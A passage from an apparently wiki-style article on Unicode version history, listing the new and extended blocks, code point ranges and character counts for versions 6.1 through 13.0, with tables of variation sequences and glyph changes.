* Symbols for Canadian legal use (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F16A-U+1F16B)
* Typikon symbols (total 4 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F540-U+1F543)
* (total 13 characters) were added to '''Emoticons'''. (U+1F600, U+1F611, U+1F615, U+1F617, U+1F619, U+1F61B, U+1F61F, U+1F626-U+1F627, U+1F62C, U+1F62E-U+1F62F and U+1F634)

== Unicode 6.2 ==

Unicode 6.2 was released in September 26, 2012. It encoded 110,117 characters, adding only 1 new character.

=== Extended blocks ===

* A Turkish Lira sign (total 1 character) was added to '''Currency Symbols'''. (U+20BA)

== Unicode 6.3 ==

Unicode 6.3 was released in September 30, 2013. It encoded 110,122 characters, adding only 5 new characters.

=== Extended blocks ===

* A Letter mark (total 1 character) was added to '''Arabic'''. (U+061C)
* Isolate directional format characters (total 4 characters) were added to '''General Punctuation'''. (U+2066-U+2069)

== Unicode 7.0 ==

Unicode 7.0 was released in June 16, 2014. It encoded 112,956 characters, adding 2,834 new characters.

=== New blocks ===

* '''Combining Diacritical Marks Extended''' (U+1AB0-U+1AFF), containing 15 marks, was added.
* '''Myanmar Extended-B''' (U+A9E0-U+A9FF), containing 31 letters, was added.
* '''Latin Extended-E''' (U+AB30-U+AB6F), containing 50 letters, was added.
* '''Coptic Epact Numbers''' (U+102E0-U+102FF), containing 28 numbers, was added.
* '''Old Permic''' (U+10350-U+1037F), containing 43 letters, was added.
* '''Elbasan''' (U+10500-U+1052F), containing 50 letters, was added.
* '''Caucasian Albanian''' (U+10530-U+1056F), containing 53 letters and marks, was added.
* '''Linear A''' (U+10600-U+1077F), containing 341 signs, was added.
* '''Palmyrene''' (U+10860-U+1087F), containing 32 letters, was added.
* '''Nabataean''' (U+10880-U+108AF), containing 40 letters and numbers, was added.
* '''Old North Arabian''' (U+10A80-U+10A9F), containing 32 letters and numbers, was added.
* '''Manichaean''' (U+10AC0-U+10AFF), containing 51 characters, was added.
* '''Psalter Pahlavi''' (U+10B80-U+10BAF), containing 29 characters, was added.
* '''Mahajani''' (U+11150-U+1117F), containing 39 letters and signs, was added.
* '''Sinhala Archaic Numbers''' (U+111E0-U+111FF), containing 20 numbers, was added.
* '''Khojki''' (U+11200-U+1124F), containing 61 characters, was added.
* '''Khudawadi''' (U+112B0-U+112FF), containing 69 characters, was added.
* '''Grantha''' (U+11300-U+1137F), containing 83 characters, was added.
* '''Tirhuta''' (U+11480-U+114DF), containing 82 characters, was added.
* '''Siddham''' (U+11580-U+115FF), containing 72 characters, was added.
* '''Modi''' (U+11600-U+1165F), containing 79 characters, was added.
* '''Warang Citi''' (U+118A0-U+118FF), containing 84 letters and numbers, was added.
* '''Pau Cin Hau''' (U+11AC0-U+11AFF), containing 57 characters, was added.
* '''Mro''' (U+16A40-U+16A6F), containing 43 characters, was added.
* '''Bassa Vah''' (U+16AD0-U+16AFF), containing 36 characters, was added.
* '''Pahawh Hmong''' (U+16B00-U+16B8F), containing 127 letters and signs, was added.
* '''Duployan''' (U+1BC00-U+1BC9F), containing 143 characters, was added.
* '''Shorthand Format Controls''' (U+1BCA0-U+1BCAF), containing 4 format characters, was added.
* '''Mende Kikakui''' (U+1E800-U+1E8DF), containing 213 syllables and numbers, was added.
* '''Ornamental Dingbats''' (U+1F650-U+1F67F), containing 48 pictographic characters, was added.
* '''Geometric Shapes Extended''' (U+1F780-U+1F7FF), containing 85 pictographic characters, was added.
* '''Supplemental Arrows-C''' (U+1F800-U+1F8FF), containing 148 pictographic characters, was added.

=== Extended blocks ===

* A capital letter Yot (total 1 character) was added to '''Greek and Coptic'''. (U+037F)
* Letters for Orok, Komi and Khanty (total 8 characters) were added to '''Cyrillic Supplement'''. (U+0528-U+052F)
* An Eternity sign (total 2 characters) were added to '''Armenian'''. (U+058D-U+058E)
* A Number Mark Above (total 1 character) was added to '''Arabic'''. (U+0605)
* Letters for African, Philippine, Turkic, Berber, Belarusian, Palula and Shina languages (total 8 characters) were added to '''Arabic Extended-A'''. (U+08A1, U+08AD-U+08B2 and U+08FF)
* A letter for Marwari (total 1 character) was added to '''Devanagari'''. (U+0978)
* A sign Anji (total 1 character) was added to '''Bengali'''. (U+0980)
* Sign Candrabindu and letter Llla (total 2 characters) were added to '''Telugu'''. (U+0C00 and U+0C34)
* A Sign Candrabindu (total 1 character) was added to '''Kannada'''. (U+0C81)
* A Sign Candrabindu (total 1 character) was added to '''Malayalam'''. (U+0D01)
* Lith Numerals (total 10 characters) were added to '''Sinhala'''. (U+0DE6-U+0DEF)
* Additional Old English runes (total 8 characters) were added to '''Runic'''. (U+16F1-U+16F8)
* Letters Gyan and Tra (total 2 characters) were added to '''Limbu'''. (U+191D-U+191E)
* Signs for Jaiminiya Sama Veda (total 2 characters) were added to '''Vedic Extensions'''. (U+1CF8-U+1CF9)
* Marks for Germanic and American lexicology (total 15 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DE7-U+1DF5)
* Nordic Mark, Manat and Ruble sign (total 3 characters) were added to '''Currency Symbols'''. (U+20BB-U+20BD)
* Playback symbols from Webdings font (total 7 characters) were added to '''Miscellaneous Technical'''. (U+23F4-U+23FA)
* A Scissors symbol from Wingdings 2 font (total 1 character) was added to '''Dingbats'''. (U+2700)
* Arrows for Lithuanian dialectology and symbols from Wingdings 3 font (total 115 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B4D-U+2B4F, U+2B5A-U+2B5F, U+2B60-U+2B73, U+2B76-U+2B95, U+2B98-U+2BB9, U+2BBD-U+2BC8 and U+2BCA-U+2BD1)
* (total 7 characters) were added to '''Supplemental Punctuation'''. (U+2E3C-U+2E42)
* Early Cyrillic letters and letters for Lithuanian dialectology (total 6 characters) were added to '''Cyrillic Extended-B'''. (U+A698-U+A69D)
* Letters for European, American and African orthography (total 18 characters) were  added to '''Latin Extended-D'''. (U+A794-U+A79F, U+A7AB-U+A7AD, U+A7B0-U+A7B1 and U+A7F7)
* Tone marks for Tai Laing and letters for Shwe Palaung (total 4 characters) were added to '''Myanmar Extended-A'''. (U+AA7C-U+AA7F)
* Combining phonetic marks (total 7 characters) were added to '''Combining Half Marks'''. (U+FE27-U+FE2D)
* Additional mathematical symbols (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018B-U+1018C)
* A Greek Tau Rho symbol (total 1 character) was added to '''Ancient Symbols'''. (U+101A0)
* A letter Ess (total 1 character) was added to '''Old Italic'''. (U+1031F)
* A Number Joiner (total 1 character) was added to '''Brahmi'''. (U+1107F)
* Sutra mark and sign Ekam (total 2 characters) were added to '''Sharada'''. (U+111CD and U+111DA)
* Additional cuneiform signs (total 42 characters) were added to '''Cuneiform'''. (U+1236F-U+12398)
* Additional numbers, vulgar fractions and a punctuation mark (total 13 characters) were added to '''Cuneiform Numbers and Punctuation'''. (U+12463-U+1246E and U+12474)
* Red Joker, Fool and trumps (total 23 characters) were added to '''Playing Cards'''. (U+1F0BF and U+1F0E0-U+1F0F5)
* Dingbat normal and negative sans-serif digit zero (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10B-U+1F10C)
* Symbols from Webdings, Wingdings 1 and 2 font (total 209 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F321-U+1F32C, U+1F336, U+1F37D, U+1F394-U+1F39F, U+1F3C5, U+1F3CB-U+1F3CE, U+1F3D4-U+1F3DF, U+1F3F1-U+1F3F7, U+1F43F, U+1F441, U+1F4F8, U+1F4FD-U+1F4FE, U+1F53E-U+1F53F, U+1F544-U+1F54A, U+1F568-U+1F579, U+1F57B-U+1F5A3 and U+1F5A5-U+1F5FA)
* Slightly frowning and smiling faces emoji (total 2 characters) were added to '''Emoticons'''. (U+1F641-U+1F642)
* Symbols from Webdings and Wingdings 2 font (total 27 characters) were added to '''Transport and Map Symbols'''. (U+1F6C6-U+1F6CF, U+1F6E0-U+1F6EC and U+1F6F0-U+1F6F3)

== Unicode 8.0 ==

Unicode 8.0 was released in June 17, 2015. It encoded 120,672 characters, adding 7,716 new characters.

=== New blocks ===

* '''Cherokee Supplement''' (U+AB70-U+ABBF), containing 80 lowercase letters, was added.
* '''Hatran''' (U+108E0-U+108FF), containing 26 letters, was added.
* '''Old Hungarian''' (U+10C80-U+10CFF), containing 108 letters, was added.
* '''Multani''' (U+11280-U+112AF), containing 38 letters, was added.
* '''Ahom''' (U+11700-U+1173F), containing 57 letters, was added.
* '''Early Dynastic Cuneiform''' (U+12480-U+1254F), containing 196 characters, was added.
* '''Anatolian Hieroglyphs''' (U+14400-U+1467F), containing 583 characters, was added.
* '''Sutton SignWriting''' (U+1D800-U+1DAAF), containing 672 signs, was added.
* '''Supplemental Symbols and Pictographs''' (U+1F900-U+1F9FF), containing 15 pictographic characters, was added.
* '''CJK Unified Ideographs Extension E''' (U+2B820-U+2CEAF), containing 5762 characters, was added.

=== Extended blocks ===

* Letters for Arwi (total 3 characters) were added to '''Arabic Extended-A'''. (U+08B3-U+08B4 and U+08E3)
* A letter for Avestan transliteration (total 1 character) was added to '''Gujarati'''. (U+0AF9)
* A letter for Andhra Pradesh (total 1 character) was added to '''Telugu'''. (U+0C5A)
* An archaic letter II (total 1 character) was added to '''Malayalam'''. (U+0D5F)
* A letter Mv and small letters (total 7 characters) were added to '''Cherokee'''. (U+13F5 and U+13F8-U+13FD)
* A Georgian Lari sign (total 1 character) was added to '''Currency Symbols'''. (U+20BE)
* Turned digits (total 2 characters) were added to '''Number Forms'''. (U+218A-U+218B)
* Two headed arrows with triangle arrowheads (total 4 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BEC-U+2BEF)
* Some additional ideographs (total 9 characters) were added to '''CJK Unified Ideographs'''. (U+9FCD-U+9FD5)
* A combining letter Ef (total 1 character) was added to '''Cyrillic Extended-B'''. (U+A69E)
* Sinological dot, phonetic extension for African languages, letters for American and Gabonese orthography (total 7 characters) were added to '''Latin Extended-D'''. (U+A78F and U+A7B2-U+A7B7)
* Sign Siddham and letter Jain Om (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FC-U+A8FD)
* Letters for Yakut transliteration (total 4 characters) were added to '''Latin Extended-E'''. (U+AB60-U+AB63)
* A combining mark for Church Slavonic (total 2 characters) were added to '''Combining Half Marks'''. (U+FE2E-U+FE2F)
* Numerals and vulgar fractions (total 64 characters) were added to '''Meroitic Cursive'''. (U+109BC-U+109BD, U+109C0-U+109CF and U+109D2-U+109FF)
* Sandhi mark, diacritical marks for Kashmiri, sign Siddham and punctuation marks (total 9 characters) were added to '''Sharada'''. (U+111C9-U+111CC and U+111DB-U+111DF)
* Combining Anusvara Above and letter Om (total 2 characters) were added to '''Grantha'''. (U+11300 and U+11350)
* Section marks and alternate letters (total 20 characters) were added to '''Siddham'''. (U+115CA-U+115DD)
* An additional sign (total 1 character) was added to '''Cuneiform'''. (U+12399)
* East-Slavic musical symbols (total 11 characters) were added to '''Musical Symbols'''. (U+1D1DE-U+1D1E8)
* (total 24 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F32D-U+1F32F, U+1F37E-U+1F37F, U+1F3CF-U+1F3D3, U+1F3F8-U+1F3FF, U+1F4FF and U+1F54B-U+1F54F)
* Upside Down Face and Face With Rolling Eyes emoji (total 2 characters) were added to '''Emoticons'''. (U+1F643-U+1F644)
* A Place of Worship emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D0)

== Unicode 9.0 ==

Unicode 9.0, was released in June 21, 2016. It encoded 128,172 characters, adding 7,500 new characters.

=== New blocks ===

* '''Cyrillic Extended-C''' (U+1C80-U+1C8F), containing 9 letters, was added.
* '''Osage''' (U+104B0-U+104FF), containing 72 letters, was added.
* '''Newa''' (U+11400-U+1147F), containing 92 letters, was added.
* '''Mongolian Supplement''' (U+11660-U+1167F), containing 13 letters, was added.
* '''Bhaiksuki''' (U+11C00-U+11C6F), containing 97 letters, was added.
* '''Marchen''' (U+11C70-U+11CBF), containing 68 letters, was added.
* '''Ideographic Symbols and Punctuation''' (U+16FE0-U+16FFF), containing 1 letter, was added.
* '''Tangut''' (U+17000-U+187FF), containing 6125 letters, was added.
* '''Tangut Components''' (U+18800-U+18AFF), containing 755 letters, was added.
* '''Glagolitic Supplement''' (U+1E000-U+1E02F), containing 38 letters, was added.
* '''Adlam''' (U+1E900-U+1E95F), containing 87 letters, was added.

=== Extended blocks ===

* Letters for Bravanese, Warsh and Quranic marks used in Pakistan (total 23 characters) were added to '''Arabic Extended-A'''. (U+08B6-U+08BD and U+08D4-U+08E2)
* A sign Spacing Candrabindu (total 1 character) were added to '''Kannada'''. (U+0C80)
* Sign Para, Chillu letters and vulgar fractions (total 14 characters) were added to '''Malayalam'''. (U+0D4F, U+0D54-U+0D56, U+0D58-U+0D5E and U+0D76-U+0D78)
* A diacritical mark for Newa (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFB)
* Power symbols (total 4 characters) were added to '''Miscellaneous Technical'''. (U+23FB-U+23FE)
* Punctuation marks for Church Slavonic (total 2 characters) were added to '''Supplemental Punctuation'''. (U+2E43-U+2E44)
* A letter for Unifon (total 1 character) was added to '''Latin Extended-D'''. (U+A7AE)
* A sign Candrabindu (total 1 character) was added to '''Saurashtra'''. (U+A8C5)
* Indiction sign and a currency symbol (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018D-U+1018E)
* A sign Sukun (total 1 character) was added to '''Khojki'''. (U+1123E)
* Japanese TV symbols (total 18 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F19B-U+1F1AC)
* A Japanese TV symbol (total 1 character) was added to '''Enclosed Ideographic Supplement'''. (U+1F23B)
* A dancing man and Black Heart emoji (total 2 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F57A and U+1F5A4)
* Octagonal Sign, Shopping Trolley, scooters and a Canoe emoji (total 5 characters) were added to '''Transport and Map Symbols'''. (U+1F6D1-U+1F6D2 and U+1F6F4-U+1F6F6)
* (total 67 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F919-U+1F91E, U+1F920-U+1F927, U+1F930, U+1F933-U+1F93E, U+1F940-U+1F94B, U+1F950-U+1F95E and U+1F985-U+1F991)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|0030 FE00
|
|short diagonal stroke form # DIGIT ZERO
|-
|1000 FE00
|
|dotted form # MYANMAR LETTER KA
|-
|1002 FE00
|
|dotted form # MYANMAR LETTER GA
|-
|1004 FE00
|
|dotted form # MYANMAR LETTER NGA
|-
|1010 FE00
|
|dotted form # MYANMAR LETTER TA
|-
|1011 FE00
|
|dotted form # MYANMAR LETTER THA
|-
|1015 FE00
|
|dotted form # MYANMAR LETTER PA
|-
|1019 FE00
|
|dotted form # MYANMAR LETTER MA
|-
|101A FE00
|
|dotted form # MYANMAR LETTER YA
|-
|101C FE00
|
|dotted form # MYANMAR LETTER LA
|-
|101D FE00
|
|dotted form # MYANMAR LETTER WA
|-
|1022 FE00
|
|dotted form # MYANMAR LETTER SHAN A
|-
|1031 FE00
|
|dotted form # MYANMAR VOWEL SIGN E
|-
|1075 FE00
|
|dotted form # MYANMAR LETTER SHAN KA
|-
|1078 FE00
|
|dotted form # MYANMAR LETTER SHAN CA
|-
|107A FE00
|
|dotted form # MYANMAR LETTER SHAN NYA
|-
|1080 FE00
|
|dotted form # MYANMAR LETTER SHAN THA
|-
|2205 FE00
|
|zero with long diagonal stroke overlay form # EMPTY SET
|-
|AA60 FE00
|
|dotted form # MYANMAR LETTER KHAMTI GA
|-
|AA61 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CA
|-
|AA62 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CHA
|-
|AA63 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JA
|-
|AA64 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JHA
|-
|AA65 FE00
|
|dotted form # MYANMAR LETTER KHAMTI NYA
|-
|AA66 FE00
|
|dotted form # MYANMAR LETTER KHAMTI TTA
|-
|AA6B FE00
|
|dotted form # MYANMAR LETTER KHAMTI NA
|-
|AA6C FE00
|
|dotted form # MYANMAR LETTER KHAMTI SA
|-
|AA6F FE00
|
|dotted form # MYANMAR LETTER KHAMTI FA
|-
|AA7A FE00
|
|dotted form # MYANMAR LETTER AITON RA
|-
|…
|
|278 additional emoji variation sequences
|}

== Unicode 10.0 ==

Unicode 10.0, was released in June 20, 2017. It encoded 136,690 characters, adding 8,518 new characters.

=== New blocks ===

* '''Syriac Supplement''' (U+0860-U+086F), containing 11 characters, was added.
* '''Zanabazar Square''' (U+11A00-U+11A4F), containing 72 characters, was added.
* '''Soyombo''' (U+11A50-U+11AAF), containing 80 characters, was added.
* '''Masaram Gondi''' (U+11D00-U+11D5F), containing 75 characters, was added.
* '''Kana Extended-A''' (U+1B100-U+1B12F), containing 31 characters, was added.
* '''Nushu''' (U+1B170-U+1B2FF), containing 396 characters, was added.
* '''CJK Unified Ideographs Extension F''' (U+2CEB0-U+2EBEF), containing 7,473 characters, was added.

=== Extended blocks ===

* A Vedic Anusvara and Abbreviation mark (total 2 characters) were added to '''Bengali'''. (U+09FC-U+09FD)
* Letters for Arabic transliteration (total 6 characters) were added to '''Gujarati'''. (U+0AFA-U+0AFF)
* A combining Anusvara Above and Viramas (total 3 characters) were added to '''Malayalam'''. (U+0D00 and U+0D3B-U+0D3C)
* A sign Atikrama (total 1 character) was added to '''Vedic Extensions'''. (U+1CF7)
* Combining diacritical marks for Church Slavonic (total 4 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DF6-U+1DF9)
* A Bitcoin sign (total 1 character) was added to '''Currency Symbols'''. (U+20BF)
* An Observe Eye symbol (total 1 character) was added to '''Miscellaneous Technical'''. (U+23FF)
* A Group mark (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2BD2)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E45-U+2E49)
* A letter O with Dot Above (total 1 character) was added to '''Bopomofo'''. (U+312E)
* Ideographs for Slavonic transliteration (total 21 characters) were added to '''CJK Unified Ideographs'''. (U+9FD6-U+9FEA)
* Letters for North Italic (total 3 characters) were added to '''Old Italic'''. (U+1032D-U+1032F)
* An Iteration mark for Nushu (total 1 character) was added to '''Ideographic Symbols and Punctuation'''. (U+16FE1)
* Letters for Hentaigana (total 254 characters) were added to '''Kana Supplement'''. (U+1B002-U+1B0FF)
* Symbols for Chinese Folk religion (total 6 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F260-U+1F265)
* Stupa, Pagoda, Sled and Flying Saucer emoji (total 4 characters) were added to '''Transport and Map Symbols'''. (U+1F6D3-U+1F6D4 and U+1F6F7-U+1F6F8)
* (total 66 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F900-U+1F90B, U+1F91F, U+1F928-U+1F92F, U+1F931-U+1F932, U+1F94C, U+1F95F-U+1F96B, U+1F992-U+1F997 and U+1F9D0-U+1F9E6)

== Unicode 11.0 ==

Unicode 11.0, was released in June 5, 2018. It encoded 137,374 characters, adding 684 new characters.

=== New blocks ===

* '''Georgian Extended''' (U+1C90-U+1CBF), containing 46 characters, was added.
* '''Hanifi Rohingya''' (U+10D00-U+10D3F), containing 50 characters, was added.
* '''Old Sogdian''' (U+10F00-U+10F2F), containing 40 characters, was added.
* '''Sogdian''' (U+10F30-U+10F6F), containing 42 characters, was added.
* '''Dogra''' (U+11800-U+1184F), containing 60 characters, was added.
* '''Gunjala Gondi''' (U+11D60-U+11DAF), containing 63 characters, was added.
* '''Makasar''' (U+11EE0-U+11EFF), containing 25 characters, was added.
* '''Medefaidrin''' (U+16E40-U+16E9F), containing 91 characters, was added.
* '''Mayan Numerals''' (U+1D2E0-U+1D2FF), containing 20 characters, was added.
* '''Indic Siyaq Numbers''' (U+1EC70-U+1ECBF), containing 68 characters, was added.
* '''Chess Symbols''' (U+1FA00-U+1FA6F), containing 14 characters, was added.

=== Extended blocks ===

* Small letters Turned Ayb and Yi with Stroke (total 2 characters) were added to '''Armenian'''. (U+0560 and U+0588)
* A triangle Yod (total 1 character) were added to '''Hebrew'''. (U+05EF)
* A Dantayalan and currency symbols (total 3 characters) were added to '''N'Ko'''. (U+07FD-U+07FF)
* A Small Low Waw (total 1 character) was added to '''Arabic Extended-A'''. (U+08D3)
* A Sandhi mark (total 1 character) was added to '''Bengali'''. (U+09FE)
* An Abbreviation mark (total 1 character) was added to '''Gurmukhi'''. (U+0A76)
* A combining Anusvara Above (total 1 character) was added to '''Telugu'''. (U+0C04)
* A sign Siddham (total 1 character) was added to '''Kannada'''. (U+0C84)
* A letter for Buryat (total 1 character) was added to '''Mongolian'''. (U+1878)
* Symbols for chess notation, astrological and half star symbols (total 43 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BBA-U+2BBC, U+2BD3-U+2BEB and 2BF0-U+2BFE)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E4A-U+2E4E)
* A letter NN (total 1 character) was added to '''Bopomofo'''. (U+312F)
* Some ideographs for Kanji (total 5 characters) were added to '''CJK Unified Ideographs'''. (U+9FEB-U+9FEF)
* A small capital Q and a letter for Mazahua (total 3 characters) were added to '''Latin Extended-D'''. (U+A7AF and U+A7B8-U+A7B9)
* Letter and vowel sign Ay (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FE-U+A8FF)
* Letters Ttta, Vha and a vulgar fraction (total 3 characters) were added to '''Kharoshthi'''. (U+10A34-U+10A35 and U+10A48)
* A Number Sign Above (total 1 character) was added to '''Kaithi'''. (U+110CD)
* Letter Lhaa, vowel sign Aa and Ei (total 3 characters) were added to '''Chakma'''. (U+11144-U+11146)
* A combining Bindu Below (total 1 character) was added to '''Grantha'''. (U+1133B)
* A Sandhi mark (total 1 character) was added to '''Newa'''. (U+1145E)
* An alternate letter Ba (total 1 character) was added to '''Ahom'''. (U+1171A)
* A mark Pluta (total 1 character) was added to '''Soyombo'''. (U+11A9D)
* Additional ideographs (total 5 characters) were added to '''Tangut'''. (U+187ED-U+187F1)
* Tally marks (total 7 characters) were added to '''Counting Rod Numerals'''. (U+1D372-U+1D378)
* A Copyleft symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F12F)
* A Skateboard emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6F9)
* Normal and negative circled shapes (total 4 characters) were added to '''Geometric Shapes Extended'''. (U+1F7D5-U+1F7D8)
* (total 65 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F94D-U+1F94F, U+1F96C-U+1F970, U+1F973-U+1F976, U+1F97A, U+1F97C-U+1F97F, U+1F998-U+1F99F, U+1F9A0-U+1F9A2, U+1F9B0-U+1F9B9, U+1F9C1-U+1F9C2 and U+1F9E7-U+1F9FF)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|FF10 FE00
|
|short diagonal stroke form # FULLWIDTH DIGIT ZERO
|}

== Unicode 12.0 ==

Unicode 12.0 was released on March 5, 2019. It encoded 137,928 characters, adding 554 new characters.

=== New blocks ===

* '''Elymaic''' (U+10FE0-U+10FFF), containing 23 characters, was added.
* '''Nandinagari''' (U+119A0-U+119FF), containing 65 characters, was added.
* '''Tamil Supplement''' (U+11FC0-U+11FFF), containing 51 characters, was added.
* '''Egyptian Hieroglyph Format Controls''' (U+13430-U+1343F), containing 9 characters, was added.
* '''Small Kana Extension''' (U+1B130-U+1B16F), containing 7 characters, was added.
* '''Nyiakeng Puachue Hmong''' (U+1E100-U+1E14F), containing 71 characters, was added.
* '''Wancho''' (U+1E2C0-U+1E2FF), containing 59 characters, was added.
* '''Ottoman Siyaq Numbers''' (U+1ED00-U+1ED4F), containing 61 characters, was added.
* '''Symbols and Pictographs Extended-A''' (U+1FA70-U+1FAFF), containing 16 characters, was added.

=== Extended blocks ===

* A sign Siddham (total 1 character) was added to '''Telugu'''. (U+0C77)
* Letters for Pail and Sanskrit (total 15 characters) were added to '''Lao'''. (U+0E86, U+0E89, U+0E8C, U+0E8E-U+0E93, U+0E98, U+0EA0, U+0EA8-U+0EA9, U+0EAC and U+0EBA)
* A sign Double Anusvara Antargomukha (total 1 character) was added to '''Vedic Extensions'''. (U+1CFA)
* An astrological symbol and Hellschreiber Pause symbol (total 2 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BC9 and U+2BFF)
* A Cornish Verse Divider (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E4F)
* Egyptological letters, Anglicana W and letters for early Pinyin (total 11 characters) were added to '''Latin Extended-D'''. (U+A7BA-U+A7BF and U+A7C2-U+A7C6)
*Sinological phonetic letters (total 2 characters) were added to '''Latin Extended-E'''. (U+AB66-U+AB67)
* A Vedic Anusvara (total 1 character) was added to '''Newa'''. (U+1145F)
* An archaic letter Kha (total 1 character) was added to '''Takri'''. (U+116B8)
* Sign Jihvamuliya and Uphadhmaniya (total 2 characters) were added to '''Soyombo'''. (U+11A84-U+11A85)
* Letters for various Yi and Miao languages (total 16 characters) were added to '''Miao'''. (U+16F45-U+16F4A, U+16F4F and U+16F7F-U+16F87)
* Marks for Ancient Chinese texts (total 2 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE2-U+16FE3)
* Some additional ideographs (total 6 characters) were added to '''Tangut'''. (U+187F2-U+187F7)
* A Nasalization mark (total 1 character) was added to '''Adlam'''. (U+1E94B)
* A Spanish and Portuguese register mark (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F16C)
* Hindu Temple and Auto Rickshaw emoji (total 2 characters) were added to '''Transport and Map Symbols'''. (U+1F6D5 and U+1F6FA)
* Large colored circles and boxes (total 12 characters) were added to '''Geometric Shapes Extended'''. (U+1F7E0-U+1F7EB)
* (total 31 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90D-U+1F90F, U+1F93F, U+1F971, U+1F97B, U+1F9A5-U+1F9AA, U+1F9AE-U+1F9AF, U+1F9BA-U+1F9BF, U+1F9C3-U+1F9CA and U+1F9CD-U+1F9CF)
* Heterodox chess symbols (total 84 characters) were added to '''Chess Symbols'''. (U+1FA00-U+1FA53)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Spacing Modifier Letters
|02EA, 02EB
|2
|-
|Vedic Extensions
|1CF2..1CF3
|2
|-
|Currency Symbols
|20A9
|1
|-
|CJK Symbols and Punctuation
|3001, 3002
|2
|-
|Bopomofo
|3105..312F
|43
|-
|Bopomofo Extended
|31A0..31BA
|27
|-
|CJK Unified Ideographs Extension A
|37C3, 3B9D, 3CFD, 3FE0, 44EC, 4A76
|6
|-
|CJK Unified Ideographs
|5344, 55B9, 6ABC, 6FF9, 809E, 80BC, 80E9, 8132, 8159, 841C, 891D, 8C6C, 915E, 9FD4
|14
|-
|Phags-pa
|A840..A877
|56
|-
|Halfwidth and Fullwidth Forms
|FF01, FF0C, FF0E, FF1A, FF1B, FF1F
|6
|-
|CJK Unified Ideographs Extension B
|200DD, 20164, 20BBF, 20C02, 20CED, 21D4C, 2278B, 23AB8, 2459B, 24A7D, 24FB9, 25ED7, 2677C, 26B4C, 26C21, 26CBE, 26E3D, 28834, 289A1, 289C0, 28A0F, 28B46
|22
|-
|CJK Unified Ideographs Extension C
|2A8FB, 2A917, 2AA30
|3
|-
|CJK Unified Ideographs Extension E
|2BA52, 2BD77, 2C494, 2C72F, 2C734, 2CB38
|6
|-
|CJK Unified Ideographs Extension F
|2D23B, 2E83A
|2
|-
! colspan=&quot;2&quot; |Total
!192
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|3001 FE00
|
|corner-justified form # IDEOGRAPHIC COMMA
|-
|3001 FE01
|
|centered form # IDEOGRAPHIC COMMA
|-
|3002 FE00
|
|corner-justified form # IDEOGRAPHIC FULL STOP
|-
|3002 FE01
|
|centered form # IDEOGRAPHIC FULL STOP
|-
|FF01 FE00
|
|corner-justified form # FULLWIDTH EXCLAMATION MARK
|-
|FF01 FE01
|
|centered form # FULLWIDTH EXCLAMATION MARK
|-
|FF0C FE00
|
|corner-justified form # FULLWIDTH COMMA
|-
|FF0C FE01
|
|centered form # FULLWIDTH COMMA
|-
|FF0E FE00
|
|corner-justified form # FULLWIDTH FULL STOP
|-
|FF0E FE01
|
|centered form # FULLWIDTH FULL STOP
|-
|FF1A FE00
|
|corner-justified form # FULLWIDTH COLON
|-
|FF1A FE01
|
|centered form # FULLWIDTH COLON
|-
|FF1B FE00
|
|corner-justified form # FULLWIDTH SEMICOLON
|-
|FF1B FE01
|
|centered form # FULLWIDTH SEMICOLON
|-
|FF1F FE00
|
|corner-justified form # FULLWIDTH QUESTION MARK
|-
|FF1F FE01
|
|centered form # FULLWIDTH QUESTION MARK
|}

== Unicode 12.1 ==

Unicode 12.1 was released on May 7, 2019. It encoded 137,929 characters, adding only 1 new character.

=== Extended blocks ===
* A square era name Reiwa (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+32FF)

== Unicode 13.0 ==

Unicode 13.0 was released on March 10, 2020. It encoded 143,859 characters, adding 5,930 new characters.

=== New blocks ===

* '''Yezidi''' (U+10E80-U+10EBF), containing 47 characters, was added.
* '''Chorasmian''' (U+10FB0-U+10FDF), containing 28 characters, was added.
* '''Dives Akuru''' (U+11900-U+1195F), containing 72 characters, was added.
